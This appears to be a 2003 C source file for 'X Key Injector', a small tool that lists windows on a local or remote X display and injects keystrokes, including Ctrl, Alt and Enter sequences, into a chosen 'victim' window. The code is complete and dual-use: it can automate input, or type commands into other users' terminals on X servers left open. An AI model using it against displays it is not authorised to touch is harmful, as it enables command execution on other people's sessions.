/*
 *  X Key Injector V0.3
 *  Manda eventos de pulsacion de teclas a ventanas que esten en un 
 *  server X
 *   luna@aditel.org '03
 *
 *  Compilar con:
 * gcc -o xkinj xkinj.c -L/usr/X11R6/lib -I/usr/include/X11 -lX11 -lXmu -lXtst
 */


#include <stdio.h>
#include <Xlib.h>
#include <Xutil.h>
#include <keysym.h>
#include <X11/Xatom.h>
#include <X11/extensions/XTest.h>
#include <getopt.h>


int forcextest=0,forceevents=0;

/* Necesita comentario? ;P */
void uso (char *s)
{
  printf(" Uso: %s [ -d display ] [-l] [-t targetwin | -r] [-x|-e] string_to_send\n"
         "      -d display      Use this display\n"
         "      -l              Window list\n"
         "      -t targetwin    Victim Window\n"
         "      -x              Use XTEST extension\n"
         "      -e              Use Events only\n"
         "      -r              Victim Window is root window\n"
         "      string_to_send  string of keys to send \n"
         "     Escape Codes: \\  +  a s c n f[1-9] b e i k j l (see source :P)\n",s); 
  exit(1);
}


/* Traduce las secuencias de escape  cambiando el estado si procede */
int translate_sym(int *mask, int *i,char *s)
{
    switch(s[*i])
    {
       case 'n': return XK_Return;             // n       Enter
       case 'e': return XK_Escape;             // e       Escape
       case 'b': return XK_BackSpace;          // b       Backspace
       case 'i': return XK_Up;                 // i       Arriba
       case 'k': return XK_Down;               // k       Abajo
       case 'j': return XK_Left;	       // j       Izquierda
       case 'l': return XK_Right;              // l       Derecha
       case 'f':                               // f[0-9]+ Tecla Fnum
                (*i)++;
                return 0xFF8D+s[*i];
                 
       case 's':                               // Shift para la sig tecla
                  (*mask)+=ShiftMask;
                  (*i)++;
                  if (s[*i]!='\\') 
                    return s[*i];
                   else {(*i)++; return translate_sym(mask,i,s);}
       case 'c':			       // Control 
                  (*mask)+=ControlMask;
                  (*i)++;
                  if (s[*i]!='\\') 
                    return s[*i];
                   else {(*i)++; return translate_sym(mask,i,s);}
       case 'a':			      // Alt
                  (*mask)+=Mod1Mask;
                  (*i)++;
                  if (s[*i]!='\\') 
                    return s[*i];
                   else {(*i)++; return translate_sym(mask,i,s);}
                 
    }

}

/* Manda un evento xkey a la ventana especificada */
int sendkey (Display *d,Window w, int key, int mask)
{
   XEvent sendEvent;
   if(!forcextest) {
      sendEvent.xkey.type = KeyPress;
      sendEvent.xkey.window = w;
      sendEvent.xkey.root = w;
      sendEvent.xkey.state =mask;
      sendEvent.xkey.keycode = XKeysymToKeycode(d, key );
      sendEvent.xkey.same_screen = True;
      sendEvent.xkey.display = d;
      sendEvent.xkey.send_event = False;
      return XSendEvent( d, w, True, KeyPressMask, &sendEvent );
   }
   if (mask & ControlMask) {
      XTestFakeKeyEvent(d,XKeysymToKeycode(d,XK_Control_L),True,0);
   }
   if (mask & Mod1Mask) {
      XTestFakeKeyEvent(d,XKeysymToKeycode(d,XK_Alt_L),True,0);
   }
   if (mask & ShiftMask) {
      XTestFakeKeyEvent(d,XKeysymToKeycode(d,XK_Shift_L),True,0);
   }
   XTestFakeKeyEvent(d,XKeysymToKeycode(d,key),True,0);
   if (mask & ControlMask) {
      XTestFakeKeyEvent(d,XKeysymToKeycode(d,XK_Control_L),False,0);
   }
   if (mask & Mod1Mask) {
      XTestFakeKeyEvent(d,XKeysymToKeycode(d,XK_Alt_L),False,0);
   }
   if (mask & ShiftMask) {
      XTestFakeKeyEvent(d,XKeysymToKeycode(d,XK_Shift_L),False,0);
   }
   return 0; 
}


/* Da informacion sobre una ventana */
int info_win (Display *d, Window w)
{
  char **cliargv = NULL;
  int cliargc,i;

  if (!XGetCommand (d, w, &cliargv, &cliargc)) {
    return;
  }
   printf("Win: 0x%lx: ",w);
   for (i=0;i<cliargc;i++)
      printf("%s ",cliargv[i]);
   printf("\n");
   XFreeStringList (cliargv); 
}

/* Lista todas las ventanas contenidas en una dada y los comandos
 *  que las han producido
 */
int lookat(Display *d, Window r)
{
 Window dummy,*collect,client;
 int i,childs;

 printf("Window list\n");
 printf("-----------\n");
 if (!XQueryTree (d, r, &dummy, &dummy, &collect, &childs)) {
        return -1;
    }
 for(i=0;i<childs;i++)
 {  
     client=XmuClientWindow (d,collect[i]);
      if (client != None)
          info_win (d,client); 
  }
}

int main (int argc, char *argv[])
{

   Display *display;
   int screen;
   Window rootwin,victim,oldwin;
   int numv=0,opt,list=0,victimroot=0,i,c,k,kmask=0,t;
   char *display_str=NULL;

   while((opt=getopt(argc,argv,"d:lt:rxe"))!=EOF)
   switch(opt) {
      case 'd':
               display_str=(char *)malloc(strlen(optarg)+1);
               strcpy(display_str,optarg);
               break;
      case 'l':
               list=1;
               break;
      case 't':
               sscanf(optarg,"%lx",&numv); 
               break;
      case 'r':
               victimroot=1;
               break;
      case 'x':
               forcextest=1;
               break;
      case 'e':
               forceevents=1;
               break;
   }
   printf("\033[1;33mXInjector\033[0m by \033[1;34mdreyer\033[0m v0.3\n");

   if (argc<2) uso(argv[0]); 
   argv=&argv[optind];
   if ( (display = XOpenDisplay(display_str)) == NULL ) {
        fprintf(stderr,"Fail: XOpenDisplay for %s\n",display_str);
        exit(-1);
    }
   
   if (!forceevents) {
      if (XQueryExtension(display,"XTEST",&t,&t,&t)==False)
      {
        printf("[*] TEST extension not supported by XServer\n");
        if(forcextest) exit(2);
        printf("[*] Reversing to events...\n");
        forceevents=1;
      } else { 
        printf("[*] TEST extension supported by XServer\n");
        forcextest=1;
      }
   }

   screen =  DefaultScreen(display);
   rootwin = RootWindow(display,screen);
   if (list) lookat(display,rootwin);
   if (numv||victimroot) {
       if(argv[0]==NULL) exit(0);
       victim=(victimroot)?rootwin:(Window)numv;
       c=strlen(argv[0]);
       if(forcextest) {
         XGetInputFocus(display,&oldwin,&t);
         XSetInputFocus(display,victim,RevertToNone, CurrentTime);
       }
       printf("[*] Injecting %s\n",argv[0]);
       for (i=0;i<c;i++) {
         if (argv[0][i]=='\\')
               { i++;k=translate_sym(&kmask,&i,argv[0]);}
            else 
               { k=argv[0][i]; kmask=0; }
         sendkey (display,victim,k,kmask);
        }
   }
   if(forcextest)
       XSetInputFocus(display, oldwin,RevertToNone, CurrentTime);
   XFlush(display);
} 


